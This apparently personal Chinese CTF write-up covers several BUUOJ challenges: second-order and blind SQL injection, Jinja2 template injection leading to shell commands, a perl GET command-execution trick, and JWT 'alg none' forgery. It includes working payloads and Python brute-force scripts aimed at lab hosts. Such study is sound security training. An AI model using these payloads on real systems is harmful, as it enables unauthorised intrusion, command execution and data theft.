[RCTF2015]EasySQL 又是二次注入,注册登录改密
<?php session_start(); header("Content-Type: text/html; charset=UTF-8" ); require_once 'config.php' ;echo '<form action="" method="post"><p>oldpass: <input type="text" name="oldpass" /></p><p>newpass: <input type="text" name="newpass" /></p><input type="submit" value="Submit" /></form>' ;if (isset ($_POST['oldpass' ]) && isset ($_POST['newpass' ])){ $oldpass = md5($_POST['oldpass' ]); $newpass = md5($_POST['newpass' ]); $username = $_SESSION['username' ]; $sql = "update users set pwd='$newpass ' where name=\"$username \" and pwd='$oldpass '" ; $query = mysql_query($sql); if ($query){ exit ('' ); }else { die (mysql_error()); } } ?>
直接看这段代码吧,username此时是没有被md5加密的,也就是说这是我们的利用点
function check ($string ) { $postfilter = "#(\s)|(/\*.*\*/)|file|insert|<|and|floor|ord|char|ascii|mid|left|right|hex|sleep|benchmark|substr|@|`|delete|like#i" ; if (preg_match($postfilter, $string,$matches)) { echo "<script>alert('invalid string!')</script>" ; die (); } else return $string; }
这是过滤内容,所以我们可以闭合username
adm"extractvalue(1,concat(database()))#
z这边看到一个师傅的payload
test"^updatexml(1,concat(0x3a,(select(group_concat(column_name))from(information_schema.columns)where(table_name='users')&&(column_name)regexp('^r'))),1)#
有意思的是 flag所在的列名没有完全出来,于是就使用了正则匹配匹配字符r得到flag
最后要记得翻转哈,不然长度限制了
[CSCCTF 2019 Qual]FlaskLight 查看源码有提示,SSTI注入 直接上payload
怎么说 我忘记保存了–
一开始没发现过滤东西, 找到了读文件的file方法,但是不知道flag位置 于是尝试其他方法,发现会跳转500,感觉是什么被过滤了,发现是globals
尝试一下绕过:发现拼接法可以绕过:
{{"".__class__.__mro__[2].__subclasses__()[71].__init__['__glo'+'bals__']['os'].popen("ls").read()}}
接下来就可以随便使用命令 这里没用builitins当跳板,因为eval被禁用了,直接用上面这个更简洁
然后这里说一下wp的方法,感觉挺新奇的:
inux下有一个文件/proc/self/environ,这个文件里保存了系统的一些变量。
{{"".__class__.__mro__[-1].__subclasses__()[40]('/flasklight/app.py').read()}}
读取源码 发现提示:
CCC{the_flag_is_this_dir}
但是不知道flag的文件名 WP说可以利用subprocess.Popen这个类,无需globals也可以进行读取
import requestsurl="http://202f932e-6c5b-47c0-9de9-0a1627399bb6.node3.buuoj.cn/?search=" s=requests.session() for i in range(1 ,1000 ): payload = "{{''.__class__.__mro__[-1].__subclasses__()[%s]}}" %i print(payload) if 'subprocess.Popen' in s.get(url+payload).text: print(i) break
结果是258 payload:
{{[].__class__.__bases__[0].__subclasses__()[258]('cat /flasklight/coomme_geeeett_youur_flek',shell=True,stdout=-1).communicate()[0].strip()}}
不过也挺麻烦的==
[HITCON 2017]SSRFme <?php if (isset ($_SERVER['HTTP_X_FORWARDED_FOR' ])) { $http_x_headers = explode(',' , $_SERVER['HTTP_X_FORWARDED_FOR' ]); $_SERVER['REMOTE_ADDR' ] = $http_x_headers[0 ]; } echo $_SERVER["REMOTE_ADDR" ]; $sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR" ]); @mkdir($sandbox); @chdir($sandbox); $data = shell_exec("GET " . escapeshellarg($_GET["url" ])); $info = pathinfo($_GET["filename" ]); $dir = str_replace("." , "" , basename($info["dirname" ])); @mkdir($dir); @chdir($dir); @file_put_contents(basename($info["basename" ]), $data); highlight_file(__FILE__ );
之前做过了 在i春秋10 就是利用get里面的perl命令执行,然后这题好像没有flag–
[HFCTF2020]EasyLogin 注册——登录 F12查看源码:
/** * 或许该用 koa-static 来处理静态文件 * 路径该怎么配置?不管了先填个根目录XD */
知道是koa-static
不知道是个啥 是node.js吧?于是乎去学习一下看了一下wp说是要在controllers下的api.js才是真正的源码
node.js 由于本题是基于koa框架的,所以需要了解他的一些基础信息
koa框架常用目录、文件
看了这个框架后很明显,我们需要找的是处理逻辑,但是本题中,处理逻辑放在 controllers/api.js文件下(经验),有的controllers默认目录下的文件就是api.js
const crypto = require('crypto'); const fs = require('fs') const jwt = require('jsonwebtoken') const APIError = require('../rest').APIError; module.exports = { 'POST /api/register': async (ctx, next) => { const {username, password} = ctx.request.body; if(!username || username === 'admin'){ throw new APIError('register error', 'wrong username'); } if(global.secrets.length > 100000) { global.secrets = []; } const secret = crypto.randomBytes(18).toString('hex'); const secretid = global.secrets.length; global.secrets.push(secret) const token = jwt.sign({secretid, username, password}, secret, {algorithm: 'HS256'});//jwt验证 ctx.rest({ token: token }); await next(); }, 'POST /api/login': async (ctx, next) => { const {username, password} = ctx.request.body; if(!username || !password) { throw new APIError('login error', 'username or password is necessary'); } const token = ctx.header.authorization || ctx.request.body.authorization || ctx.request.query.authorization; const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid; console.log(sid) if(sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) { throw new APIError('login error', 'no such secret id'); } const secret = global.secrets[sid]; const user = jwt.verify(token, secret, {algorithm: 'HS256'}); const status = username === user.username && password === user.password; if(status) { ctx.session.username = username; } ctx.rest({ status }); await next(); }, 'GET /api/flag': async (ctx, next) => { if(ctx.session.username !== 'admin'){ throw new APIError('permission error', 'permission denied'); } const flag = fs.readFileSync('/flag').toString(); ctx.rest({ flag }); await next(); }, 'GET /api/logout': async (ctx, next) => { ctx.session.username = null; ctx.rest({ status: true }) await next(); } };
看了一下代码,主要是是要伪造jwt为admin然后就可以读取flag惹=-= 印象中之前也做过一题伪造jwt了
吧这个autho啥的拿去https://jwt.io/这个网站解码 然后jwt会防篡改,这里绕过的姿势就是将HS256改为none,然后构造:
{"alg":"none","typ":"JWT"}.{"secretid": [],"username": "admin","password": "123456","iat": 1623114083}. ewogICJhbGciOiAibm9uZSIsCiAgInR5cCI6ICJKV1QiCn0.eyJzZWNyZXRpZCI6W10sInVzZXJuYW1lIjoiYWRtaW4iLCJwYXNzd29yZCI6IjEyMyIsImlhdCI6MTYyMzEzMzA0NX0.Qjxs0QkJ0e_Sjrn8WbCPKaE5kFouERQY8RZ6nGctW6Q
记得将username换成admin,然后登陆进去以后抓包按getflag就行
jwt攻击小结 jwt就是一种验证方式,思路就是拿到密文,然后去网站解密https://jwt.io/,修改其中的值,再加密回去,本地能绕过是因为验证方式比较简单:首先签名算法确保恶意用户在传输过程中不会修改JWT,但是jwt支持无签名算法,**所以如果将alg的加密方式改为none**,就不用对jwt进行签名,这样jwt的存在就没有意义了。
secret更改为数组的原因是也是和上面的更改none方法相呼应,因为只有secret更改为空这个方法才有效 但是本题为什么更改为数组?为什么不直接放空白,这点在他的源码有写,secret不能为空 js是弱类型语言,secret设为一个数组或小数,比较永远为真,但是并且不为空。
攻击思路: 注册获得jwt——更改jwt——重新进入
[GYCTF2020]Ezsqli SQL注入,数字型注入,过滤infomation,推测要无列名注入了 接下来测试一下注入点发现
这里有个细节需要说一下,由于and被过滤了,&&在url传输过程中有其他含义,不好用,所以这里用的|,但是用|的话就需要我们让id=2,这样 两个都错才是v&n,一个对一个错就是nu1l,如果是id=1,就会一直是nu1l
接下来就贴脚本惹:
import requestsurl="http://38e59c90-abd2-495b-8ea0-e256893cdce2.node3.buuoj.cn/index.php" s=requests.session() database="" for i in range(1 ,100000000 ): low=0 high=264 mid = (low + high) // 2 while (low<high): payload_2 = f"2||ascii(substr((select group_concat(flag) from f1ag_1s_h3r3_hhhhh),{i} ,1))>{mid} " data={ "id" :payload_2 } print(s.post(url,data=data).text) if "Nu1L" in s.post(url,data=data).text: low=mid+1 else : high=mid mid = (low + high) // 2 if (mid == 0 or mid == 264 ): break database += chr(mid) print(database) print(database)
有个很无语的事,就是一旦请求多了,网页就会崩溃–,所以很痛苦
我还一直在想是出了什么问题了,就算把线程改为1也不行–
由于本题过滤了union 所以常规的无列名注入在这里就行不通了 这里学习一下
无列名按位比较注入 import requestss=requests.session() url="http://38e59c90-abd2-495b-8ea0-e256893cdce2.node3.buuoj.cn/index.php" payload="" def trans (flag ): res='' for i in flag: res+=hex(ord(i)) res='0x' +res.replace('0x' ,'' ) return res flag='' for i in range(1 ,500 ): hexchar='' for char in range(32 ,126 ): hexchar = trans(flag+chr(char)) payload = '2||((select 1,{})>(select * from f1ag_1s_h3r3_hhhhh))' .format(hexchar) data = { 'id' : payload } r = requests.post(url=url, data=data) text = r.text if 'Nu1L' in r.text: flag += chr(char - 1 ) print(flag) break
1.说一下原理,这里是使用了一个比较的思想,先比第一位,如果第一位相等则比较第二位,在某一位上,如果前者的 ASCII 大,不管总长度如何,ASCII 大的则大
2.所以这里需要两个循环,一个循环记录次数,一个循环放字符
无列名注入小结: 无列名注入可能是之前都没小结过,每次都要翻一下记录: 这里总结一下方便记忆的公式吧
select b from (select 1,2 as b,3 union select * from users)a; 虚拟列名 字段数 并且将要显示的 as b 表名 任意字母 (select 1,爆破内容)>(select * from 表名)